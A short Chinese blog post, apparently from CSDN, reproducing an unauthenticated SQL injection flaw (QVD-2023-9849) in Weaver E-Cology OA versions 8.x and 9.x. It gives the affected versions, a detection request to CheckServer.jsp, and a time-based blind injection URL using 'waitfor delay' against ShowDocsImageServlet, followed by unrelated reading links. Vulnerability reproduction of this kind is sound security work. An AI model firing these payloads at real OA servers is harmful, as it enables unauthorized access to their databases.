泛微E-Cology CheckServer.jspSQL注入漏洞(QVD-2023-9849) 复现

1.漏洞描述

泛微 Ecology OA 系统对用户传入的数据过滤处理不当，导致存在 SQL 注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

影响版本：泛微 Ecology 9.x <= v10.56；泛微 Ecology 8.x <= v10.56

POC

/mobile/plugin/CheckServer.jsp?type=mobileSetting
1

返回状态码200且参数值为{“error”;”system error”}证明漏洞存在

在这里插入图片描述

进行延时注入：

/weaver/weaver.docs.docs.ShowDocsImageServlet?docId=1%2F**%2Fand(select%2F**%2F1)%3E0%2F**%2Fwaitfor%2F**%2Fdelay'0%3A0%3A10'%2F**%2F
1

0%3A0%3A10 实际上表示 0:0:10 延时10秒
1

在这里插入图片描述

相关阅读:
解决 pdf.js 出现 TypeError: key.split(...).at is not a function 报错问题
JVM-字节码
【CS231N】b站同济子豪兄全视频笔记
8、Yaml读取单一属性数据（配置文件是有xml，yaml，properties这三种。只是yaml后缀可以用.yml）
ES7.7中highlight的结果丢失部分文本的bug
Linux环境下JDK1.8的安装（保姆级教程）
jsp基站管理系统servlet开发sqlserver数据库MVC结构java编程计算机网页项目
java计算机毕业设计面试刷题系统源码+系统+mysql数据库+lw文档
58 乘积最大子数组
jvm垃圾回收机制概述

原文地址：https://blog.csdn.net/huangyongkang666/article/details/134478420